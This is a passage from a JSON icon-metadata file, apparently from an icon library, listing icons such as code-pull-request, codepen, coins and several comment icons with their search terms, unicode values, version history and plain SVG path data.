        "path": "M80 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm32.4 97.2c28-12.4 47.6-40.5 47.6-73.2c0-44.2-35.8-80-80-80S0 35.8 0 80c0 32.8 19.7 61 48 73.3V358.7C19.7 371 0 399.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-32.8-19.7-61-48-73.3V272c26.7 20.1 60 32 96 32h86.7c12.3 28.3 40.5 48 73.3 48c44.2 0 80-35.8 80-80s-35.8-80-80-80c-32.8 0-61 19.7-73.3 48H208c-49.9 0-91-38.1-95.6-86.8zM80 408a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM344 272a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "code-pull-request": {
    "changes": ["6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["git", "github", "pr", "svn", "version"]
    },
    "styles": ["solid"],
    "unicode": "e13c",
    "label": "Code Pull Request",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M305.8 2.1C314.4 5.9 320 14.5 320 24V64h16c70.7 0 128 57.3 128 128V358.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V192c0-35.3-28.7-64-64-64H320v40c0 9.5-5.6 18.1-14.2 21.9s-18.8 2.3-25.8-4.1l-80-72c-5.1-4.6-7.9-11-7.9-17.8s2.9-13.3 7.9-17.8l80-72c7-6.3 17.2-7.9 25.8-4.1zM104 80A24 24 0 1 0 56 80a24 24 0 1 0 48 0zm8 73.3V358.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V153.3C19.7 141 0 112.8 0 80C0 35.8 35.8 0 80 0s80 35.8 80 80c0 32.8-19.7 61-48 73.3zM104 432a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm328 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M305.8 2.1C314.4 5.9 320 14.5 320 24V64h16c70.7 0 128 57.3 128 128V358.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V192c0-35.3-28.7-64-64-64H320v40c0 9.5-5.6 18.1-14.2 21.9s-18.8 2.3-25.8-4.1l-80-72c-5.1-4.6-7.9-11-7.9-17.8s2.9-13.3 7.9-17.8l80-72c7-6.3 17.2-7.9 25.8-4.1zM104 80A24 24 0 1 0 56 80a24 24 0 1 0 48 0zm8 73.3V358.7c28.3 12.3 48 40.5 48 73.3c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-32.8 19.7-61 48-73.3V153.3C19.7 141 0 112.8 0 80C0 35.8 35.8 0 80 0s80 35.8 80 80c0 32.8-19.7 61-48 73.3zM104 432a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm328 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "codepen": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1cb",
    "label": "Codepen",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.285 159.704l-234-156c-7.987-4.915-16.511-4.96-24.571 0l-234 156C3.714 163.703 0 170.847 0 177.989v155.999c0 7.143 3.714 14.286 9.715 18.286l234 156.022c7.987 4.915 16.511 4.96 24.571 0l234-156.022c6-3.999 9.715-11.143 9.715-18.286V177.989c-.001-7.142-3.715-14.286-9.716-18.285zM278 63.131l172.286 114.858-76.857 51.429L278 165.703V63.131zm-44 0v102.572l-95.429 63.715-76.857-51.429L234 63.131zM44 219.132l55.143 36.857L44 292.846v-73.714zm190 229.715L61.714 333.989l76.857-51.429L234 346.275v102.572zm22-140.858l-77.715-52 77.715-52 77.715 52-77.715 52zm22 140.858V346.275l95.429-63.715 76.857 51.429L278 448.847zm190-156.001l-55.143-36.857L468 219.132v73.714z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M502.285 159.704l-234-156c-7.987-4.915-16.511-4.96-24.571 0l-234 156C3.714 163.703 0 170.847 0 177.989v155.999c0 7.143 3.714 14.286 9.715 18.286l234 156.022c7.987 4.915 16.511 4.96 24.571 0l234-156.022c6-3.999 9.715-11.143 9.715-18.286V177.989c-.001-7.142-3.715-14.286-9.716-18.285zM278 63.131l172.286 114.858-76.857 51.429L278 165.703V63.131zm-44 0v102.572l-95.429 63.715-76.857-51.429L234 63.131zM44 219.132l55.143 36.857L44 292.846v-73.714zm190 229.715L61.714 333.989l76.857-51.429L234 346.275v102.572zm22-140.858l-77.715-52 77.715-52 77.715 52-77.715 52zm22 140.858V346.275l95.429-63.715 76.857 51.429L278 448.847zm190-156.001l-55.143-36.857L468 219.132v73.714z"
      }
    },
    "free": ["brands"]
  },
  "codiepie": {
    "changes": ["4.5.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f284",
    "label": "Codie Pie",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 472 512\"><path d=\"M422.5 202.9c30.7 0 33.5 53.1-.3 53.1h-10.8v44.3h-26.6v-97.4h37.7zM472 352.6C429.9 444.5 350.4 504 248 504 111 504 0 393 0 256S111 8 248 8c97.4 0 172.8 53.7 218.2 138.4l-186 108.8L472 352.6zm-38.5 12.5l-60.3-30.7c-27.1 44.3-70.4 71.4-122.4 71.4-82.5 0-149.2-66.7-149.2-148.9 0-82.5 66.7-149.2 149.2-149.2 48.4 0 88.9 23.5 116.9 63.4l59.5-34.6c-40.7-62.6-104.7-100-179.2-100-121.2 0-219.5 98.3-219.5 219.5S126.8 475.5 248 475.5c78.6 0 146.5-42.1 185.5-110.4z\"/></svg>",
        "viewBox": [0, 0, 472, 512],
        "width": 472,
        "height": 512,
        "path": "M422.5 202.9c30.7 0 33.5 53.1-.3 53.1h-10.8v44.3h-26.6v-97.4h37.7zM472 352.6C429.9 444.5 350.4 504 248 504 111 504 0 393 0 256S111 8 248 8c97.4 0 172.8 53.7 218.2 138.4l-186 108.8L472 352.6zm-38.5 12.5l-60.3-30.7c-27.1 44.3-70.4 71.4-122.4 71.4-82.5 0-149.2-66.7-149.2-148.9 0-82.5 66.7-149.2 149.2-149.2 48.4 0 88.9 23.5 116.9 63.4l59.5-34.6c-40.7-62.6-104.7-100-179.2-100-121.2 0-219.5 98.3-219.5 219.5S126.8 475.5 248 475.5c78.6 0 146.5-42.1 185.5-110.4z"
      }
    },
    "free": ["brands"]
  },
  "coins": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f51e"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["currency", "dime", "financial", "gold", "money", "penny"]
    },
    "styles": ["solid"],
    "unicode": "f51e",
    "label": "Coins",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 80c0 18-14.3 34.6-38.4 48c-29.1 16.1-72.5 27.5-122.3 30.9c-3.7-1.8-7.4-3.5-11.3-5C300.6 137.4 248.2 128 192 128c-8.3 0-16.4 .2-24.5 .6l-1.1-.6C142.3 114.6 128 98 128 80c0-44.2 86-80 192-80S512 35.8 512 80zM160.7 161.1c10.2-.7 20.7-1.1 31.3-1.1c62.2 0 117.4 12.3 152.5 31.4C369.3 204.9 384 221.7 384 240c0 4-.7 7.9-2.1 11.7c-4.6 13.2-17 25.3-35 35.5c0 0 0 0 0 0c-.1 .1-.3 .1-.4 .2l0 0 0 0c-.3 .2-.6 .3-.9 .5c-35 19.4-90.8 32-153.6 32c-59.6 0-112.9-11.3-148.2-29.1c-1.9-.9-3.7-1.9-5.5-2.9C14.3 274.6 0 258 0 240c0-34.8 53.4-64.5 128-75.4c10.5-1.5 21.4-2.7 32.7-3.5zM416 240c0-21.9-10.6-39.9-24.1-53.4c28.3-4.4 54.2-11.4 76.2-20.5c16.3-6.8 31.5-15.2 43.9-25.5V176c0 19.3-16.5 37.1-43.8 50.9c-14.6 7.4-32.4 13.7-52.4 18.5c.1-1.8 .2-3.5 .2-5.3zm-32 96c0 18-14.3 34.6-38.4 48c-1.8 1-3.6 1.9-5.5 2.9C304.9 404.7 251.6 416 192 416c-62.8 0-118.6-12.6-153.6-32C14.3 370.6 0 354 0 336V300.6c12.5 10.3 27.6 18.7 43.9 25.5C83.4 342.6 135.8 352 192 352s108.6-9.4 148.1-25.9c7.8-3.2 15.3-6.9 22.4-10.9c6.1-3.4 11.8-7.2 17.2-11.2c1.5-1.1 2.9-2.3 4.3-3.4V304v5.7V336zm32 0V304 278.1c19-4.2 36.5-9.5 52.1-16c16.3-6.8 31.5-15.2 43.9-25.5V272c0 10.5-5 21-14.9 30.9c-16.3 16.3-45 29.7-81.3 38.4c.1-1.7 .2-3.5 .2-5.3zM192 448c56.2 0 108.6-9.4 148.1-25.9c16.3-6.8 31.5-15.2 43.9-25.5V432c0 44.2-86 80-192 80S0 476.2 0 432V396.6c12.5 10.3 27.6 18.7 43.9 25.5C83.4 438.6 135.8 448 192 448z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 80c0 18-14.3 34.6-38.4 48c-29.1 16.1-72.5 27.5-122.3 30.9c-3.7-1.8-7.4-3.5-11.3-5C300.6 137.4 248.2 128 192 128c-8.3 0-16.4 .2-24.5 .6l-1.1-.6C142.3 114.6 128 98 128 80c0-44.2 86-80 192-80S512 35.8 512 80zM160.7 161.1c10.2-.7 20.7-1.1 31.3-1.1c62.2 0 117.4 12.3 152.5 31.4C369.3 204.9 384 221.7 384 240c0 4-.7 7.9-2.1 11.7c-4.6 13.2-17 25.3-35 35.5c0 0 0 0 0 0c-.1 .1-.3 .1-.4 .2l0 0 0 0c-.3 .2-.6 .3-.9 .5c-35 19.4-90.8 32-153.6 32c-59.6 0-112.9-11.3-148.2-29.1c-1.9-.9-3.7-1.9-5.5-2.9C14.3 274.6 0 258 0 240c0-34.8 53.4-64.5 128-75.4c10.5-1.5 21.4-2.7 32.7-3.5zM416 240c0-21.9-10.6-39.9-24.1-53.4c28.3-4.4 54.2-11.4 76.2-20.5c16.3-6.8 31.5-15.2 43.9-25.5V176c0 19.3-16.5 37.1-43.8 50.9c-14.6 7.4-32.4 13.7-52.4 18.5c.1-1.8 .2-3.5 .2-5.3zm-32 96c0 18-14.3 34.6-38.4 48c-1.8 1-3.6 1.9-5.5 2.9C304.9 404.7 251.6 416 192 416c-62.8 0-118.6-12.6-153.6-32C14.3 370.6 0 354 0 336V300.6c12.5 10.3 27.6 18.7 43.9 25.5C83.4 342.6 135.8 352 192 352s108.6-9.4 148.1-25.9c7.8-3.2 15.3-6.9 22.4-10.9c6.1-3.4 11.8-7.2 17.2-11.2c1.5-1.1 2.9-2.3 4.3-3.4V304v5.7V336zm32 0V304 278.1c19-4.2 36.5-9.5 52.1-16c16.3-6.8 31.5-15.2 43.9-25.5V272c0 10.5-5 21-14.9 30.9c-16.3 16.3-45 29.7-81.3 38.4c.1-1.7 .2-3.5 .2-5.3zM192 448c56.2 0 108.6-9.4 148.1-25.9c16.3-6.8 31.5-15.2 43.9-25.5V432c0 44.2-86 80-192 80S0 476.2 0 432V396.6c12.5 10.3 27.6 18.7 43.9 25.5C83.4 438.6 135.8 448 192 448z"
      }
    },
    "free": ["solid"]
  },
  "colon-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Colon Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e140",
    "label": "Colon Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M255 39.8c4.3-17.1-6.1-34.5-23.3-38.8S197.2 7.1 193 24.2L181.9 68.6C96.1 87.8 32 164.4 32 256c0 58.1 25.8 110.2 66.7 145.4L81 472.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l13-52.1c9 3.4 18.4 6.2 28 8.2L177 472.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l10.4-41.4c33.4-4.4 64.1-17.4 89.8-36.7c14.1-10.6 17-30.7 6.4-44.8s-30.7-17-44.8-6.4c-10.2 7.7-21.7 13.9-34 18.3L321 160c9.4-.3 18.5-4.7 24.6-12.8c10.6-14.1 7.8-34.2-6.4-44.8c-1.1-.8-2.2-1.6-3.3-2.4L351 39.8c4.3-17.1-6.1-34.5-23.3-38.8S293.2 7.1 289 24.2L277.2 71.5c-9.3-2.7-18.8-4.6-28.6-5.9L255 39.8zM163.2 143.3L117.3 326.8C103.9 306.5 96 282.2 96 256c0-48.7 27.2-91 67.2-112.7zm8.6 229.5l61.1-244.6c9.9 .7 19.5 2.5 28.7 5.3l-62 248.1c-9.7-1.9-19-4.8-27.8-8.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M255 39.8c4.3-17.1-6.1-34.5-23.3-38.8S197.2 7.1 193 24.2L181.9 68.6C96.1 87.8 32 164.4 32 256c0 58.1 25.8 110.2 66.7 145.4L81 472.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l13-52.1c9 3.4 18.4 6.2 28 8.2L177 472.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l10.4-41.4c33.4-4.4 64.1-17.4 89.8-36.7c14.1-10.6 17-30.7 6.4-44.8s-30.7-17-44.8-6.4c-10.2 7.7-21.7 13.9-34 18.3L321 160c9.4-.3 18.5-4.7 24.6-12.8c10.6-14.1 7.8-34.2-6.4-44.8c-1.1-.8-2.2-1.6-3.3-2.4L351 39.8c4.3-17.1-6.1-34.5-23.3-38.8S293.2 7.1 289 24.2L277.2 71.5c-9.3-2.7-18.8-4.6-28.6-5.9L255 39.8zM163.2 143.3L117.3 326.8C103.9 306.5 96 282.2 96 256c0-48.7 27.2-91 67.2-112.7zm8.6 229.5l61.1-244.6c9.9 .7 19.5 2.5 28.7 5.3l-62 248.1c-9.7-1.9-19-4.8-27.8-8.8z"
      }
    },
    "free": ["solid"]
  },
  "comment": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5e9", "f0e5"],
        "secondary": ["10f075"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.9",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Right Speech Bubble",
        "bubble",
        "chat",
        "commenting",
        "conversation",
        "feedback",
        "message",
        "note",
        "notification",
        "sms",
        "speech",
        "texting"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f075",
    "label": "Comment",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 240c0 114.9-114.6 208-256 208c-37.1 0-72.3-6.4-104.1-17.9c-11.9 8.7-31.3 20.6-54.3 30.6C73.6 471.1 44.7 480 16 480c-6.5 0-12.3-3.9-14.8-9.9c-2.5-6-1.1-12.8 3.4-17.4l0 0 0 0 0 0 0 0 .3-.3c.3-.3 .7-.7 1.3-1.4c1.1-1.2 2.8-3.1 4.9-5.7c4.1-5 9.6-12.4 15.2-21.6c10-16.6 19.5-38.4 21.4-62.9C17.7 326.8 0 285.1 0 240C0 125.1 114.6 32 256 32s256 93.1 256 208z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 240c0 114.9-114.6 208-256 208c-37.1 0-72.3-6.4-104.1-17.9c-11.9 8.7-31.3 20.6-54.3 30.6C73.6 471.1 44.7 480 16 480c-6.5 0-12.3-3.9-14.8-9.9c-2.5-6-1.1-12.8 3.4-17.4l0 0 0 0 0 0 0 0 .3-.3c.3-.3 .7-.7 1.3-1.4c1.1-1.2 2.8-3.1 4.9-5.7c4.1-5 9.6-12.4 15.2-21.6c10-16.6 19.5-38.4 21.4-62.9C17.7 326.8 0 285.1 0 240C0 125.1 114.6 32 256 32s256 93.1 256 208z"
      },
      "regular": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M123.6 391.3c12.9-9.4 29.6-11.8 44.6-6.4c26.5 9.6 56.2 15.1 87.8 15.1c124.7 0 208-80.5 208-160s-83.3-160-208-160S48 160.5 48 240c0 32 12.4 62.8 35.7 89.2c8.6 9.7 12.8 22.5 11.8 35.5c-1.4 18.1-5.7 34.7-11.3 49.4c17-7.9 31.1-16.7 39.4-22.7zM21.2 431.9c1.8-2.7 3.5-5.4 5.1-8.1c10-16.6 19.5-38.4 21.4-62.9C17.7 326.8 0 285.1 0 240C0 125.1 114.6 32 256 32s256 93.1 256 208s-114.6 208-256 208c-37.1 0-72.3-6.4-104.1-17.9c-11.9 8.7-31.3 20.6-54.3 30.6c-15.1 6.6-32.3 12.6-50.1 16.1c-.8 .2-1.6 .3-2.4 .5c-4.4 .8-8.7 1.5-13.2 1.9c-.2 0-.5 .1-.7 .1c-5.1 .5-10.2 .8-15.3 .8c-6.5 0-12.3-3.9-14.8-9.9c-2.5-6-1.1-12.8 3.4-17.4c4.1-4.2 7.8-8.7 11.3-13.5c1.7-2.3 3.3-4.6 4.8-6.9c.1-.2 .2-.3 .3-.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M123.6 391.3c12.9-9.4 29.6-11.8 44.6-6.4c26.5 9.6 56.2 15.1 87.8 15.1c124.7 0 208-80.5 208-160s-83.3-160-208-160S48 160.5 48 240c0 32 12.4 62.8 35.7 89.2c8.6 9.7 12.8 22.5 11.8 35.5c-1.4 18.1-5.7 34.7-11.3 49.4c17-7.9 31.1-16.7 39.4-22.7zM21.2 431.9c1.8-2.7 3.5-5.4 5.1-8.1c10-16.6 19.5-38.4 21.4-62.9C17.7 326.8 0 285.1 0 240C0 125.1 114.6 32 256 32s256 93.1 256 208s-114.6 208-256 208c-37.1 0-72.3-6.4-104.1-17.9c-11.9 8.7-31.3 20.6-54.3 30.6c-15.1 6.6-32.3 12.6-50.1 16.1c-.8 .2-1.6 .3-2.4 .5c-4.4 .8-8.7 1.5-13.2 1.9c-.2 0-.5 .1-.7 .1c-5.1 .5-10.2 .8-15.3 .8c-6.5 0-12.3-3.9-14.8-9.9c-2.5-6-1.1-12.8 3.4-17.4c4.1-4.2 7.8-8.7 11.3-13.5c1.7-2.3 3.3-4.6 4.8-6.9c.1-.2 .2-.3 .3-.5z"
      }
    },
    "free": ["regular", "solid"]
  },
  "comment-dollar": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f651"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bubble",
        "chat",
        "commenting",
        "conversation",
        "feedback",
        "message",
        "money",
        "note",
        "notification",
        "pay",
        "sms",
        "speech",
        "spend",
        "texting",
        "transfer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f651",
    "label": "Comment Dollar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zm20-312v13.9c7.5 1.2 14.6 2.9 21.1 4.7c10.7 2.8 17 13.8 14.2 24.5s-13.8 17-24.5 14.2c-11-2.9-21.6-5-31.2-5.2c-7.9-.1-16 1.8-21.5 5c-4.8 2.8-6.2 5.6-6.2 9.3c0 1.8 .1 3.5 5.3 6.7c6.3 3.8 15.5 6.7 28.3 10.5l.7 .2c11.2 3.4 25.6 7.7 37.1 15c12.9 8.1 24.3 21.3 24.6 41.6c.3 20.9-10.5 36.1-24.8 45c-7.2 4.5-15.2 7.3-23.2 9V344c0 11-9 20-20 20s-20-9-20-20V329.4c-10.3-2.2-20-5.5-28.2-8.4l0 0 0 0c-2.1-.7-4.1-1.4-6.1-2.1c-10.5-3.5-16.1-14.8-12.6-25.3s14.8-16.1 25.3-12.6c2.5 .8 4.9 1.7 7.2 2.4c13.6 4.6 24 8.1 35.1 8.5c8.6 .3 16.5-1.6 21.4-4.7c4.1-2.5 6-5.5 5.9-10.5c0-2.9-.8-5-5.9-8.2c-6.3-4-15.4-6.9-28-10.7l-1.7-.5c-10.9-3.3-24.6-7.4-35.6-14c-12.7-7.7-24.6-20.5-24.7-40.7c-.1-21.1 11.8-35.7 25.8-43.9c6.9-4.1 14.5-6.8 22.2-8.5V136c0-11 9-20 20-20s20 9 20 20z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zm20-312v13.9c7.5 1.2 14.6 2.9 21.1 4.7c10.7 2.8 17 13.8 14.2 24.5s-13.8 17-24.5 14.2c-11-2.9-21.6-5-31.2-5.2c-7.9-.1-16 1.8-21.5 5c-4.8 2.8-6.2 5.6-6.2 9.3c0 1.8 .1 3.5 5.3 6.7c6.3 3.8 15.5 6.7 28.3 10.5l.7 .2c11.2 3.4 25.6 7.7 37.1 15c12.9 8.1 24.3 21.3 24.6 41.6c.3 20.9-10.5 36.1-24.8 45c-7.2 4.5-15.2 7.3-23.2 9V344c0 11-9 20-20 20s-20-9-20-20V329.4c-10.3-2.2-20-5.5-28.2-8.4l0 0 0 0c-2.1-.7-4.1-1.4-6.1-2.1c-10.5-3.5-16.1-14.8-12.6-25.3s14.8-16.1 25.3-12.6c2.5 .8 4.9 1.7 7.2 2.4c13.6 4.6 24 8.1 35.1 8.5c8.6 .3 16.5-1.6 21.4-4.7c4.1-2.5 6-5.5 5.9-10.5c0-2.9-.8-5-5.9-8.2c-6.3-4-15.4-6.9-28-10.7l-1.7-.5c-10.9-3.3-24.6-7.4-35.6-14c-12.7-7.7-24.6-20.5-24.7-40.7c-.1-21.1 11.8-35.7 25.8-43.9c6.9-4.1 14.5-6.8 22.2-8.5V136c0-11 9-20 20-20s20 9 20 20z"
      }
    },
    "free": ["solid"]
  },
  "comment-dots": {
    "aliases": {
      "names": ["commenting"],
      "unicodes": {
        "composite": ["1f4ac", "f27b"],
        "secondary": ["10f4ad"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "balloon",
        "bubble",
        "chat",
        "comic",
        "commenting",
        "conversation",
        "dialog",
        "feedback",
        "message",
        "more",
        "note",
        "notification",
        "reply",
        "sms",
        "speech",
        "speech balloon",
        "texting"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f4ad",
    "label": "Comment Dots",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zM128 208a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 0a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm96 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zM128 208a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 0a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm96 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M168.2 384.9c-15-5.4-31.7-3.1-44.6 6.4c-8.2 6-22.3 14.8-39.4 22.7c5.6-14.7 9.9-31.3 11.3-49.4c1-12.9-3.3-25.7-11.8-35.5C60.4 302.8 48 272 48 240c0-79.5 83.3-160 208-160s208 80.5 208 160s-83.3 160-208 160c-31.6 0-61.3-5.5-87.8-15.1zM26.3 423.8c-1.6 2.7-3.3 5.4-5.1 8.1l-.3 .5c-1.6 2.3-3.2 4.6-4.8 6.9c-3.5 4.7-7.3 9.3-11.3 13.5c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c5.1 0 10.2-.3 15.3-.8l.7-.1c4.4-.5 8.8-1.1 13.2-1.9c.8-.1 1.6-.3 2.4-.5c17.8-3.5 34.9-9.5 50.1-16.1c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9zM144 272a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm144-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm80 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M168.2 384.9c-15-5.4-31.7-3.1-44.6 6.4c-8.2 6-22.3 14.8-39.4 22.7c5.6-14.7 9.9-31.3 11.3-49.4c1-12.9-3.3-25.7-11.8-35.5C60.4 302.8 48 272 48 240c0-79.5 83.3-160 208-160s208 80.5 208 160s-83.3 160-208 160c-31.6 0-61.3-5.5-87.8-15.1zM26.3 423.8c-1.6 2.7-3.3 5.4-5.1 8.1l-.3 .5c-1.6 2.3-3.2 4.6-4.8 6.9c-3.5 4.7-7.3 9.3-11.3 13.5c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c5.1 0 10.2-.3 15.3-.8l.7-.1c4.4-.5 8.8-1.1 13.2-1.9c.8-.1 1.6-.3 2.4-.5c17.8-3.5 34.9-9.5 50.1-16.1c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9zM144 272a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm144-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm80 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "comment-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7f5"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
